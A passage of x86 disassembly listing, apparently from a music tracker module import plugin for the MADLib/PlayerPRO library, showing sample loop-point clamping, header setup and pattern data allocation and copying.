00008: 01D0 8B 44 24 10 MOV EAX, DWORD PTR 00000010[ESP]
00008: 01D4 83 C0 30 ADD EAX, 00000030
00008: 01D7 50 PUSH EAX
00008: 01D8 E8 00000000 CALL SHORT _MOT16
00008: 01DD 59 POP ECX
00008: 01DE 0F B7 4C 37 2A MOVZX ECX, WORD PTR 0000002A[EDI][ESI]
00008: 01E3 01 C9 ADD ECX, ECX
00008: 01E5 8B 54 9C 50 MOV EDX, DWORD PTR 00000050[ESP][EBX*4]
00008: 01E9 8D 04 11 LEA EAX, DWORD PTR 00000000[ECX][EDX]
00008: 01EC 3B 44 24 1C CMP EAX, DWORD PTR 0000001C[ESP]
00008: 01F0 76 27 JBE L000C
00008: 01F2 8B 44 24 1C MOV EAX, DWORD PTR 0000001C[ESP]
00008: 01F6 29 D0 SUB EAX, EDX
00008: 01F8 66 89 44 37 2A MOV WORD PTR 0000002A[EDI][ESI], AX
00008: 01FD B9 00000002 MOV ECX, 00000002
00008: 0202 66 8B 44 37 2A MOV AX, WORD PTR 0000002A[EDI][ESI]
00008: 0207 66 31 D2 XOR DX, DX
00008: 020A 66 F7 F1 DIV CX
00008: 020D 66 89 44 37 2A MOV WORD PTR 0000002A[EDI][ESI], AX
00008: 0212 0F B7 4C 37 2A MOVZX ECX, WORD PTR 0000002A[EDI][ESI]
00008: 0217 01 C9 ADD ECX, ECX
00008: 0219 L000C:
00008: 0219 01 4C 24 28 ADD DWORD PTR 00000028[ESP], ECX
00008: 021D 66 8B 44 37 30 MOV AX, WORD PTR 00000030[EDI][ESI]
00008: 0222 66 83 F8 02 CMP AX, 0002
00008: 0226 76 48 JBE L000D
00008: 0228 85 C9 TEST ECX, ECX
00008: 022A 7E 44 JLE L000D
00008: 022C 0F B7 D8 MOVZX EBX, AX
00008: 022F 0F B7 4C 37 2E MOVZX ECX, WORD PTR 0000002E[EDI][ESI]
00008: 0234 01 CB ADD EBX, ECX
00008: 0236 0F B7 44 37 2A MOVZX EAX, WORD PTR 0000002A[EDI][ESI]
00008: 023B 39 C3 CMP EBX, EAX
00008: 023D 7E 3F JLE L000E
00008: 023F 29 C8 SUB EAX, ECX
00008: 0241 66 89 44 37 30 MOV WORD PTR 00000030[EDI][ESI], AX
00008: 0246 0F B7 54 37 30 MOVZX EDX, WORD PTR 00000030[EDI][ESI]
00008: 024B 0F B7 4C 37 2E MOVZX ECX, WORD PTR 0000002E[EDI][ESI]
00008: 0250 01 CA ADD EDX, ECX
00008: 0252 0F B7 44 37 2A MOVZX EAX, WORD PTR 0000002A[EDI][ESI]
00008: 0257 39 C2 CMP EDX, EAX
00008: 0259 7E 23 JLE L000E
00008: 025B 66 C7 44 37 2E 0000 MOV WORD PTR 0000002E[EDI][ESI], 0000
00008: 0262 66 C7 44 37 30 0000 MOV WORD PTR 00000030[EDI][ESI], 0000
00008: 0269 EB 13 JMP L000E
00000: 026B 89 C0 8D 40 00 ALIGN 00000010, 00000008
00008: 0270 L000D:
00008: 0270 66 C7 44 37 2E 0000 MOV WORD PTR 0000002E[EDI][ESI], 0000
00008: 0277 66 C7 44 37 30 0000 MOV WORD PTR 00000030[EDI][ESI], 0000
00008: 027E L000E:
00008: 027E 83 44 24 10 1E ADD DWORD PTR 00000010[ESP], 0000001E
00008: 0283 83 C6 1E ADD ESI, 0000001E
00008: 0286 FF 44 24 34 INC DWORD PTR 00000034[ESP]
00008: 028A 66 8B 44 24 34 MOV AX, WORD PTR 00000034[ESP]
00008: 028F 66 3B 44 24 4A CMP AX, WORD PTR 0000004A[ESP]
00008: 0294 0F 8C FFFFFF09 JL L000B
00008: 029A L000A:
00008: 029A FF B4 24 000002B0 PUSH DWORD PTR 000002B0[ESP]
00008: 02A1 68 00001D3E PUSH 00001D3E
00008: 02A6 E8 00000000 CALL SHORT ?MADPlugNewPtrClear@@YAPADJPAUMADDriverSettings@@@Z
00008: 02AB 59 POP ECX
00008: 02AC 59 POP ECX
00008: 02AD 89 45 00 MOV DWORD PTR 00000000[EBP], EAX
00008: 02B0 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 02B3 85 C0 TEST EAX, EAX
00008: 02B5 75 0E JNE L000F
00008: 02B7 83 C8 FFFFFFFF OR EAX, FFFFFFFF
00000: 02BA 81 C4 00000290 ADD ESP, 00000290
00000: 02C0 5D POP EBP
00000: 02C1 5F POP EDI
00000: 02C2 5E POP ESI
00000: 02C3 5B POP EBX
00000: 02C4 C3 RETN
00000: 02C5 ALIGN 00000010, 00000008
00008: 02C5 L000F:
00008: 02C5 68 00000000 PUSH OFFSET @714
00008: 02CA 83 C0 24 ADD EAX, 00000024
00008: 02CD 50 PUSH EAX
00008: 02CE E8 00000000 CALL SHORT _MADstrcpy
00008: 02D3 59 POP ECX
00008: 02D4 59 POP ECX
00008: 02D5 8B 75 00 MOV ESI, DWORD PTR 00000000[EBP]
00008: 02D8 C7 06 4D41444B MOV DWORD PTR 00000000[ESI], 4D41444B
00008: 02DE 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 02E1 C6 80 0000011F01 MOV BYTE PTR 0000011F[EAX], 01
00008: 02E8 31 D2 XOR EDX, EDX
00000: 02EA 8D 80 00000000 ALIGN 00000010, 00000008
00008: 02F0 L0010:
00008: 02F0 0F BF F2 MOVSX ESI, DX
00008: 02F3 8B 5D 00 MOV EBX, DWORD PTR 00000000[EBP]
00008: 02F6 8A 0C 37 MOV CL, BYTE PTR 00000000[EDI][ESI]
00008: 02F9 88 4C 33 04 MOV BYTE PTR 00000004[EBX][ESI], CL
00008: 02FD 89 D0 MOV EAX, EDX
00008: 02FF 40 INC EAX
00008: 0300 0F BF C8 MOVSX ECX, AX
00008: 0303 8B 75 00 MOV ESI, DWORD PTR 00000000[EBP]
00008: 0306 8A 1C 0F MOV BL, BYTE PTR 00000000[EDI][ECX]
00008: 0309 88 5C 0E 04 MOV BYTE PTR 00000004[ESI][ECX], BL
00008: 030D 8D 42 02 LEA EAX, DWORD PTR 00000002[EDX]
00008: 0310 0F BF F0 MOVSX ESI, AX
00008: 0313 8B 4D 00 MOV ECX, DWORD PTR 00000000[EBP]
00008: 0316 8A 1C 37 MOV BL, BYTE PTR 00000000[EDI][ESI]
00008: 0319 88 5C 31 04 MOV BYTE PTR 00000004[ECX][ESI], BL
00008: 031D 8D 42 03 LEA EAX, DWORD PTR 00000003[EDX]
00008: 0320 0F BF D8 MOVSX EBX, AX
00008: 0323 8B 75 00 MOV ESI, DWORD PTR 00000000[EBP]
00008: 0326 8A 0C 1F MOV CL, BYTE PTR 00000000[EDI][EBX]
00008: 0329 88 4C 1E 04 MOV BYTE PTR 00000004[ESI][EBX], CL
00008: 032D 8D 42 04 LEA EAX, DWORD PTR 00000004[EDX]
00008: 0330 0F BF F0 MOVSX ESI, AX
00008: 0333 8B 5D 00 MOV EBX, DWORD PTR 00000000[EBP]
00008: 0336 8A 0C 37 MOV CL, BYTE PTR 00000000[EDI][ESI]
00008: 0339 88 4C 33 04 MOV BYTE PTR 00000004[EBX][ESI], CL
00008: 033D 8D 42 05 LEA EAX, DWORD PTR 00000005[EDX]
00008: 0340 0F BF C8 MOVSX ECX, AX
00008: 0343 8B 75 00 MOV ESI, DWORD PTR 00000000[EBP]
00008: 0346 8A 1C 0F MOV BL, BYTE PTR 00000000[EDI][ECX]
00008: 0349 88 5C 0E 04 MOV BYTE PTR 00000004[ESI][ECX], BL
00008: 034D 8D 42 06 LEA EAX, DWORD PTR 00000006[EDX]
00008: 0350 0F BF F0 MOVSX ESI, AX
00008: 0353 8B 4D 00 MOV ECX, DWORD PTR 00000000[EBP]
00008: 0356 8A 04 37 MOV AL, BYTE PTR 00000000[EDI][ESI]
00008: 0359 88 44 31 04 MOV BYTE PTR 00000004[ECX][ESI], AL
00008: 035D 83 C2 07 ADD EDX, 00000007
00008: 0360 66 83 FA 0F CMP DX, 000F
00008: 0364 7C FFFFFF8A JL L0010
00008: 0366 0F BF CA MOVSX ECX, DX
00008: 0369 8B 5D 00 MOV EBX, DWORD PTR 00000000[EBP]
00008: 036C 8A 04 0F MOV AL, BYTE PTR 00000000[EDI][ECX]
00008: 036F 88 44 0B 04 MOV BYTE PTR 00000004[EBX][ECX], AL
00008: 0373 8B 75 00 MOV ESI, DWORD PTR 00000000[EBP]
00008: 0376 66 C7 86 00000512007D MOV WORD PTR 00000512[ESI], 007D
00008: 037F 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 0382 66 C7 80 000005100006 MOV WORD PTR 00000510[EAX], 0006
00008: 038B 8B 4D 00 MOV ECX, DWORD PTR 00000000[EBP]
00008: 038E 8A 44 24 38 MOV AL, BYTE PTR 00000038[ESP]
00008: 0392 88 81 00000124 MOV BYTE PTR 00000124[ECX], AL
00008: 0398 8B 5D 00 MOV EBX, DWORD PTR 00000000[EBP]
00008: 039B 8B 44 24 2C MOV EAX, DWORD PTR 0000002C[ESP]
00008: 039F 8A 80 000003B6 MOV AL, BYTE PTR 000003B6[EAX]
00008: 03A5 88 83 00000126 MOV BYTE PTR 00000126[EBX], AL
00008: 03AB C7 44 24 20 00000000 MOV DWORD PTR 00000020[ESP], 00000000
00000: 03B3 ALIGN 00000010, 00000008
00008: 03B3 L0011:
00008: 03B3 0F BF 54 24 20 MOVSX EDX, WORD PTR 00000020[ESP]
00008: 03B8 8B 75 00 MOV ESI, DWORD PTR 00000000[EBP]
00008: 03BB 8B 44 24 2C MOV EAX, DWORD PTR 0000002C[ESP]
00008: 03BF 8A 8C 10 000003B8 MOV CL, BYTE PTR 000003B8[EAX][EDX]
00008: 03C6 88 8C 16 00000129 MOV BYTE PTR 00000129[ESI][EDX], CL
00008: 03CD 8B 44 24 20 MOV EAX, DWORD PTR 00000020[ESP]
00008: 03D1 40 INC EAX
00008: 03D2 0F BF F0 MOVSX ESI, AX
00008: 03D5 8B 55 00 MOV EDX, DWORD PTR 00000000[EBP]
00008: 03D8 8B 44 24 2C MOV EAX, DWORD PTR 0000002C[ESP]
00008: 03DC 8A 9C 30 000003B8 MOV BL, BYTE PTR 000003B8[EAX][ESI]
00008: 03E3 88 9C 32 00000129 MOV BYTE PTR 00000129[EDX][ESI], BL
00008: 03EA 8B 44 24 20 MOV EAX, DWORD PTR 00000020[ESP]
00008: 03EE 83 C0 02 ADD EAX, 00000002
00008: 03F1 0F BF D0 MOVSX EDX, AX
00008: 03F4 8B 75 00 MOV ESI, DWORD PTR 00000000[EBP]
00008: 03F7 8B 44 24 2C MOV EAX, DWORD PTR 0000002C[ESP]
00008: 03FB 8A 8C 10 000003B8 MOV CL, BYTE PTR 000003B8[EAX][EDX]
00008: 0402 88 8C 16 00000129 MOV BYTE PTR 00000129[ESI][EDX], CL
00008: 0409 8B 44 24 20 MOV EAX, DWORD PTR 00000020[ESP]
00008: 040D 83 C0 03 ADD EAX, 00000003
00008: 0410 0F BF F0 MOVSX ESI, AX
00008: 0413 8B 55 00 MOV EDX, DWORD PTR 00000000[EBP]
00008: 0416 8B 44 24 2C MOV EAX, DWORD PTR 0000002C[ESP]
00008: 041A 8A 9C 30 000003B8 MOV BL, BYTE PTR 000003B8[EAX][ESI]
00008: 0421 88 9C 32 00000129 MOV BYTE PTR 00000129[EDX][ESI], BL
00008: 0428 8B 44 24 20 MOV EAX, DWORD PTR 00000020[ESP]
00008: 042C 83 C0 04 ADD EAX, 00000004
00008: 042F 0F BF D0 MOVSX EDX, AX
00008: 0432 8B 75 00 MOV ESI, DWORD PTR 00000000[EBP]
00008: 0435 8B 44 24 2C MOV EAX, DWORD PTR 0000002C[ESP]
00008: 0439 8A 8C 10 000003B8 MOV CL, BYTE PTR 000003B8[EAX][EDX]
00008: 0440 88 8C 16 00000129 MOV BYTE PTR 00000129[ESI][EDX], CL
00008: 0447 8B 44 24 20 MOV EAX, DWORD PTR 00000020[ESP]
00008: 044B 83 C0 05 ADD EAX, 00000005
00008: 044E 0F BF F0 MOVSX ESI, AX
00008: 0451 8B 55 00 MOV EDX, DWORD PTR 00000000[EBP]
00008: 0454 8B 44 24 2C MOV EAX, DWORD PTR 0000002C[ESP]
00008: 0458 8A 9C 30 000003B8 MOV BL, BYTE PTR 000003B8[EAX][ESI]
00008: 045F 88 9C 32 00000129 MOV BYTE PTR 00000129[EDX][ESI], BL
00008: 0466 8B 44 24 20 MOV EAX, DWORD PTR 00000020[ESP]
00008: 046A 83 C0 06 ADD EAX, 00000006
00008: 046D 0F BF D0 MOVSX EDX, AX
00008: 0470 8B 75 00 MOV ESI, DWORD PTR 00000000[EBP]
00008: 0473 8B 44 24 2C MOV EAX, DWORD PTR 0000002C[ESP]
00008: 0477 8A 8C 10 000003B8 MOV CL, BYTE PTR 000003B8[EAX][EDX]
00008: 047E 88 8C 16 00000129 MOV BYTE PTR 00000129[ESI][EDX], CL
00008: 0485 8B 44 24 20 MOV EAX, DWORD PTR 00000020[ESP]
00008: 0489 83 C0 07 ADD EAX, 00000007
00008: 048C 0F BF D8 MOVSX EBX, AX
00008: 048F 8B 55 00 MOV EDX, DWORD PTR 00000000[EBP]
00008: 0492 8B 44 24 2C MOV EAX, DWORD PTR 0000002C[ESP]
00008: 0496 8A 84 18 000003B8 MOV AL, BYTE PTR 000003B8[EAX][EBX]
00008: 049D 88 84 1A 00000129 MOV BYTE PTR 00000129[EDX][EBX], AL
00008: 04A4 83 44 24 20 08 ADD DWORD PTR 00000020[ESP], 00000008
00008: 04A9 66 81 7C 24 20 0080 CMP WORD PTR 00000020[ESP], 0080
00008: 04B0 0F 8C FFFFFEFD JL L0011
00008: 04B6 8B 5D 00 MOV EBX, DWORD PTR 00000000[EBP]
00008: 04B9 8A 44 24 48 MOV AL, BYTE PTR 00000048[ESP]
00008: 04BD 88 83 00000125 MOV BYTE PTR 00000125[EBX], AL
00008: 04C3 BE 00000001 MOV ESI, 00000001
00008: 04C8 31 C9 XOR ECX, ECX
00000: 04CA 8D 80 00000000 ALIGN 00000010, 00000008
00008: 04D0 L0012:
00008: 04D0 66 85 F6 TEST SI, SI
00008: 04D3 7E 10 JLE L0013
00008: 04D5 0F BF D1 MOVSX EDX, CX
00008: 04D8 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 04DB C6 84 10 0000051410 MOV BYTE PTR 00000514[EAX][EDX], 10
00008: 04E3 EB 0E JMP L0014
00000: 04E5 ALIGN 00000010, 00000008
00008: 04E5 L0013:
00008: 04E5 0F BF D9 MOVSX EBX, CX
00008: 04E8 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 04EB C6 84 18 0000051430 MOV BYTE PTR 00000514[EAX][EBX], 30
00008: 04F3 L0014:
00008: 04F3 4E DEC ESI
00008: 04F4 66 83 FE FFFFFFFE CMP SI, FFFFFFFE
00008: 04F8 75 05 JNE L0015
00008: 04FA BE 00000002 MOV ESI, 00000002
00008: 04FF L0015:
00008: 04FF 0F BF D1 MOVSX EDX, CX
00008: 0502 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 0505 C6 84 10 0000061440 MOV BYTE PTR 00000614[EAX][EDX], 40
00008: 050D 41 INC ECX
00008: 050E 66 81 F9 0100 CMP CX, 0100
00008: 0513 7C FFFFFFBB JL L0012
00008: 0515 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 0518 C6 80 0000012340 MOV BYTE PTR 00000123[EAX], 40
00008: 051F 8B 5D 00 MOV EBX, DWORD PTR 00000000[EBP]
00008: 0522 C6 83 0000012250 MOV BYTE PTR 00000122[EBX], 50
00008: 0529 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 052C C6 80 0000012150 MOV BYTE PTR 00000121[EAX], 50
00008: 0533 6A 01 PUSH 00000001
00008: 0535 68 0001DA00 PUSH 0001DA00
00008: 053A E8 00000000 CALL SHORT _calloc
00008: 053F 59 POP ECX
00008: 0540 59 POP ECX
00008: 0541 89 85 0000032C MOV DWORD PTR 0000032C[EBP], EAX
00008: 0547 31 D2 XOR EDX, EDX
00008: 0549 C7 44 24 24 00000000 MOV DWORD PTR 00000024[ESP], 00000000
00000: 0551 ALIGN 00000010, 00000008
00008: 0551 L0016:
00008: 0551 8B 5D 00 MOV EBX, DWORD PTR 00000000[EBP]
00008: 0554 8B 44 24 24 MOV EAX, DWORD PTR 00000024[ESP]
00008: 0558 66 89 94 03 00001740 MOV WORD PTR 00001740[EBX][EAX], DX
00008: 0560 89 D1 MOV ECX, EDX
00008: 0562 41 INC ECX
00008: 0563 89 D0 MOV EAX, EDX
00008: 0565 40 INC EAX
00008: 0566 0F BF F0 MOVSX ESI, AX
00008: 0569 8D 34 76 LEA ESI, DWORD PTR 00000000[ESI][ESI*2]
00008: 056C 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 056F 66 89 8C 70 00001740 MOV WORD PTR 00001740[EAX][ESI*2], CX
00008: 0577 8D 5A 02 LEA EBX, DWORD PTR 00000002[EDX]
00008: 057A 8D 42 02 LEA EAX, DWORD PTR 00000002[EDX]
00008: 057D 0F BF C8 MOVSX ECX, AX
00008: 0580 8D 0C 49 LEA ECX, DWORD PTR 00000000[ECX][ECX*2]
00008: 0583 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 0586 66 89 9C 48 00001740 MOV WORD PTR 00001740[EAX][ECX*2], BX
00008: 058E 8D 72 03 LEA ESI, DWORD PTR 00000003[EDX]
00008: 0591 8D 42 03 LEA EAX, DWORD PTR 00000003[EDX]
00008: 0594 0F BF D8 MOVSX EBX, AX
00008: 0597 8D 1C 5B LEA EBX, DWORD PTR 00000000[EBX][EBX*2]
00008: 059A 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 059D 66 89 B4 58 00001740 MOV WORD PTR 00001740[EAX][EBX*2], SI
00008: 05A5 8D 4A 04 LEA ECX, DWORD PTR 00000004[EDX]
00008: 05A8 8D 42 04 LEA EAX, DWORD PTR 00000004[EDX]
00008: 05AB 0F BF F0 MOVSX ESI, AX
00008: 05AE 8D 34 76 LEA ESI, DWORD PTR 00000000[ESI][ESI*2]
00008: 05B1 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 05B4 66 89 8C 70 00001740 MOV WORD PTR 00001740[EAX][ESI*2], CX
00008: 05BC 8D 5A 05 LEA EBX, DWORD PTR 00000005[EDX]
00008: 05BF 8D 42 05 LEA EAX, DWORD PTR 00000005[EDX]
00008: 05C2 0F BF C8 MOVSX ECX, AX
00008: 05C5 8D 0C 49 LEA ECX, DWORD PTR 00000000[ECX][ECX*2]
00008: 05C8 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 05CB 66 89 9C 48 00001740 MOV WORD PTR 00001740[EAX][ECX*2], BX
00008: 05D3 8D 72 06 LEA ESI, DWORD PTR 00000006[EDX]
00008: 05D6 8D 42 06 LEA EAX, DWORD PTR 00000006[EDX]
00008: 05D9 0F BF D8 MOVSX EBX, AX
00008: 05DC 8D 1C 5B LEA EBX, DWORD PTR 00000000[EBX][EBX*2]
00008: 05DF 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 05E2 66 89 B4 58 00001740 MOV WORD PTR 00001740[EAX][EBX*2], SI
00008: 05EA 8D 4A 07 LEA ECX, DWORD PTR 00000007[EDX]
00008: 05ED 8D 42 07 LEA EAX, DWORD PTR 00000007[EDX]
00008: 05F0 0F BF F0 MOVSX ESI, AX
00008: 05F3 8D 34 76 LEA ESI, DWORD PTR 00000000[ESI][ESI*2]
00008: 05F6 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 05F9 66 89 8C 70 00001740 MOV WORD PTR 00001740[EAX][ESI*2], CX
00008: 0601 83 44 24 24 30 ADD DWORD PTR 00000024[ESP], 00000030
00008: 0606 83 C2 08 ADD EDX, 00000008
00008: 0609 66 81 FA 0100 CMP DX, 0100
00008: 060E 0F 8C FFFFFF3D JL L0016
00008: 0614 FF B4 24 000002B0 PUSH DWORD PTR 000002B0[ESP]
00008: 061B 68 00012AD4 PUSH 00012AD4
00008: 0620 E8 00000000 CALL SHORT ?MADPlugNewPtrClear@@YAPADJPAUMADDriverSettings@@@Z
00008: 0625 59 POP ECX
00008: 0626 59 POP ECX
00008: 0627 89 85 00000324 MOV DWORD PTR 00000324[EBP], EAX
00008: 062D 83 BD 0000032400 CMP DWORD PTR 00000324[EBP], 00000000
00008: 0634 75 0E JNE L0017
00008: 0636 83 C8 FFFFFFFF OR EAX, FFFFFFFF
00000: 0639 81 C4 00000290 ADD ESP, 00000290
00000: 063F 5D POP EBP
00000: 0640 5F POP EDI
00000: 0641 5E POP ESI
00000: 0642 5B POP EBX
00000: 0643 C3 RETN
00000: 0644 ALIGN 00000010, 00000008
00008: 0644 L0017:
00008: 0644 FF B4 24 000002B0 PUSH DWORD PTR 000002B0[ESP]
00008: 064B 68 0000FF00 PUSH 0000FF00
00008: 0650 E8 00000000 CALL SHORT ?MADPlugNewPtrClear@@YAPADJPAUMADDriverSettings@@@Z
00008: 0655 59 POP ECX
00008: 0656 59 POP ECX
00008: 0657 89 85 00000328 MOV DWORD PTR 00000328[EBP], EAX
00008: 065D 83 BD 0000032800 CMP DWORD PTR 00000328[EBP], 00000000
00008: 0664 75 0E JNE L0018
00008: 0666 83 C8 FFFFFFFF OR EAX, FFFFFFFF
00000: 0669 81 C4 00000290 ADD ESP, 00000290
00000: 066F 5D POP EBP
00000: 0670 5F POP EDI
00000: 0671 5E POP ESI
00000: 0672 5B POP EBX
00000: 0673 C3 RETN
00000: 0674 ALIGN 00000010, 00000008
00008: 0674 L0018:
00008: 0674 C7 44 24 44 00000000 MOV DWORD PTR 00000044[ESP], 00000000
00008: 067C 66 83 7C 24 4A 00 CMP WORD PTR 0000004A[ESP], 0000
00008: 0682 0F 8E 0000025A JLE L0019
00008: 0688 C7 44 24 30 00000000 MOV DWORD PTR 00000030[ESP], 00000000
00008: 0690 C7 44 24 18 00000000 MOV DWORD PTR 00000018[ESP], 00000000
00000: 0698 ALIGN 00000010, 00000008
00008: 0698 L001A:
00008: 0698 31 DB XOR EBX, EBX
00008: 069A 8B 44 24 30 MOV EAX, DWORD PTR 00000030[ESP]
00008: 069E 89 44 24 14 MOV DWORD PTR 00000014[ESP], EAX
00000: 06A2 ALIGN 00000010, 00000008
00008: 06A2 L001B:
00008: 06A2 8B 8D 00000324 MOV ECX, DWORD PTR 00000324[EBP]
00008: 06A8 0F BF C3 MOVSX EAX, BX
00008: 06AB 8B 74 24 14 MOV ESI, DWORD PTR 00000014[ESP]
00008: 06AF 01 C6 ADD ESI, EAX
00008: 06B1 8B 54 24 18 MOV EDX, DWORD PTR 00000018[ESP]
00008: 06B5 01 C2 ADD EDX, EAX
00008: 06B7 8A 44 17 14 MOV AL, BYTE PTR 00000014[EDI][EDX]
00008: 06BB 88 04 31 MOV BYTE PTR 00000000[ECX][ESI], AL
00008: 06BE 8B 8D 00000324 MOV ECX, DWORD PTR 00000324[EBP]
00008: 06C4 89 D8 MOV EAX, EBX
00008: 06C6 40 INC EAX
00008: 06C7 0F BF C0 MOVSX EAX, AX
00008: 06CA 8B 74 24 14 MOV ESI, DWORD PTR 00000014[ESP]
00008: 06CE 01 C6 ADD ESI, EAX
00008: 06D0 8B 54 24 18 MOV EDX, DWORD PTR 00000018[ESP]
00008: 06D4 01 C2 ADD EDX, EAX
00008: 06D6 8A 44 17 14 MOV AL, BYTE PTR 00000014[EDI][EDX]
00008: 06DA 88 04 31 MOV BYTE PTR 00000000[ECX][ESI], AL
00008: 06DD 8B 8D 00000324 MOV ECX, DWORD PTR 00000324[EBP]
00008: 06E3 8D 43 02 LEA EAX, DWORD PTR 00000002[EBX]
00008: 06E6 0F BF C0 MOVSX EAX, AX
00008: 06E9 8B 74 24 14 MOV ESI, DWORD PTR 00000014[ESP]
00008: 06ED 01 C6 ADD ESI, EAX
00008: 06EF 8B 54 24 18 MOV EDX, DWORD PTR 00000018[ESP]
00008: 06F3 01 C2 ADD EDX, EAX
00008: 06F5 8A 44 17 14 MOV AL, BYTE PTR 00000014[EDI][EDX]
00008: 06F9 88 04 31 MOV BYTE PTR 00000000[ECX][ESI], AL
00008: 06FC 8B 8D 00000324 MOV ECX, DWORD PTR 00000324[EBP]
00008: 0702 8D 43 03 LEA EAX, DWORD PTR 00000003[EBX]
00008: 0705 0F BF C0 MOVSX EAX, AX
00008: 0708 8B 74 24 14 MOV ESI, DWORD PTR 00000014[ESP]
00008: 070C 01 C6 ADD ESI, EAX
00008: 070E 8B 54 24 18 MOV EDX, DWORD PTR 00000018[ESP]
00008: 0712 01 C2 ADD EDX, EAX
00008: 0714 8A 44 17 14 MOV AL, BYTE PTR 00000014[EDI][EDX]
00008: 0718 88 04 31 MOV BYTE PTR 00000000[ECX][ESI], AL
00008: 071B 8B 8D 00000324 MOV ECX, DWORD PTR 00000324[EBP]
00008: 0721 8D 43 04 LEA EAX, DWORD PTR 00000004[EBX]
00008: 0724 0F BF C0 MOVSX EAX, AX
00008: 0727 8B 74 24 14 MOV ESI, DWORD PTR 00000014[ESP]
00008: 072B 01 C6 ADD ESI, EAX
00008: 072D 8B 54 24 18 MOV EDX, DWORD PTR 00000018[ESP]
00008: 0731 01 C2 ADD EDX, EAX
00008: 0733 8A 44 17 14 MOV AL, BYTE PTR 00000014[EDI][EDX]
00008: 0737 88 04 31 MOV BYTE PTR 00000000[ECX][ESI], AL
00008: 073A 8B 8D 00000324 MOV ECX, DWORD PTR 00000324[EBP]
00008: 0740 8D 43 05 LEA EAX, DWORD PTR 00000005[EBX]
00008: 0743 0F BF C0 MOVSX EAX, AX
00008: 0746 8B 74 24 14 MOV ESI, DWORD PTR 00000014[ESP]
00008: 074A 01 C6 ADD ESI, EAX
00008: 074C 8B 54 24 18 MOV EDX, DWORD PTR 00000018[ESP]
00008: 0750 01 C2 ADD EDX, EAX
00008: 0752 8A 44 17 14 MOV AL, BYTE PTR 00000014[EDI][EDX]
00008: 0756 88 04 31 MOV BYTE PTR 00000000[ECX][ESI], AL
00008: 0759 8B 8D 00000324 MOV ECX, DWORD PTR 00000324[EBP]
00008: 075F 8D 43 06 LEA EAX, DWORD PTR 00000006[EBX]
00008: 0762 0F BF C0 MOVSX EAX, AX
00008: 0765 8B 74 24 14 MOV ESI, DWORD PTR 00000014[ESP]
00008: 0769 01 C6 ADD ESI, EAX
00008: 076B 8B 54 24 18 MOV EDX, DWORD PTR 00000018[ESP]
00008: 076F 01 C2 ADD EDX, EAX
00008: 0771 8A 44 17 14 MOV AL, BYTE PTR 00000014[EDI][EDX]
00008: 0775 88 04 31 MOV BYTE PTR 00000000[ECX][ESI], AL
00008: 0778 83 C3 07 ADD EBX, 00000007
00008: 077B 66 83 FB 0F CMP BX, 000F
00008: 077F 0F 8C FFFFFF1D JL L001B
00008: 0785 8B 8D 00000324 MOV ECX, DWORD PTR 00000324[EBP]
00008: 078B 0F BF DB MOVSX EBX, BX
00008: 078E 8B 74 24 30 MOV ESI, DWORD PTR 00000030[ESP]
00008: 0792 01 DE ADD ESI, EBX
00008: 0794 8B 54 24 18 MOV EDX, DWORD PTR 00000018[ESP]
00008: 0798 01 DA ADD EDX, EBX
00008: 079A 8A 44 17 14 MOV AL, BYTE PTR 00000014[EDI][EDX]
00008: 079E 88 04 31 MOV BYTE PTR 00000000[ECX][ESI], AL
00008: 07A1 8B 8D 00000324 MOV ECX, DWORD PTR 00000324[EBP]
00008: 07A7 8B 44 24 30 MOV EAX, DWORD PTR 00000030[ESP]
00008: 07AB C6 44 01 20 00 MOV BYTE PTR 00000020[ECX][EAX], 00
00008: 07B0 8B B5 00000324 MOV ESI, DWORD PTR 00000324[EBP]
00008: 07B6 66 C7 84 06 00000128012C MOV WORD PTR 00000128[ESI][EAX], 012C
00008: 07C0 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 07C4 66 83 7C 07 2A 00 CMP WORD PTR 0000002A[EDI][EAX], 0000
00008: 07CA 0F 84 000000E0 JE L001C
00008: 07D0 8B 95 00000324 MOV EDX, DWORD PTR 00000324[EBP]
00008: 07D6 8B 44 24 30 MOV EAX, DWORD PTR 00000030[ESP]
00008: 07DA 66 C7 44 02 24 0001 MOV WORD PTR 00000024[EDX][EAX], 0001
00008: 07E1 FF B4 24 000002B0 PUSH DWORD PTR 000002B0[ESP]
00008: 07E8 6A 38 PUSH 00000038
00008: 07EA E8 00000000 CALL SHORT ?MADPlugNewPtrClear@@YAPADJPAUMADDriverSettings@@@Z
00008: 07EF 59 POP ECX
00008: 07F0 59 POP ECX
00008: 07F1 0F BF 5C 24 44 MOVSX EBX, WORD PTR 00000044[ESP]
00008: 07F6 C1 E3 08 SHL EBX, 00000008
00008: 07F9 8B 8D 00000328 MOV ECX, DWORD PTR 00000328[EBP]
00008: 07FF 89 04 19 MOV DWORD PTR 00000000[ECX][EBX], EAX
00008: 0802 8B 34 19 MOV ESI, DWORD PTR 00000000[ECX][EBX]
00008: 0805 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0809 0F B7 54 07 2A MOVZX EDX, WORD PTR 0000002A[EDI][EAX]
00008: 080E 01 D2 ADD EDX, EDX
00008: 0810 89 16 MOV DWORD PTR 00000000[ESI], EDX
00008: 0812 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0816 0F B7 44 07 2E MOVZX EAX, WORD PTR 0000002E[EDI][EAX]
00008: 081B 01 C0 ADD EAX, EAX
00008: 081D 89 46 04 MOV DWORD PTR 00000004[ESI], EAX
00008: 0820 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0824 0F B7 5C 07 30 MOVZX EBX, WORD PTR 00000030[EDI][EAX]
00008: 0829 01 DB ADD EBX, EBX
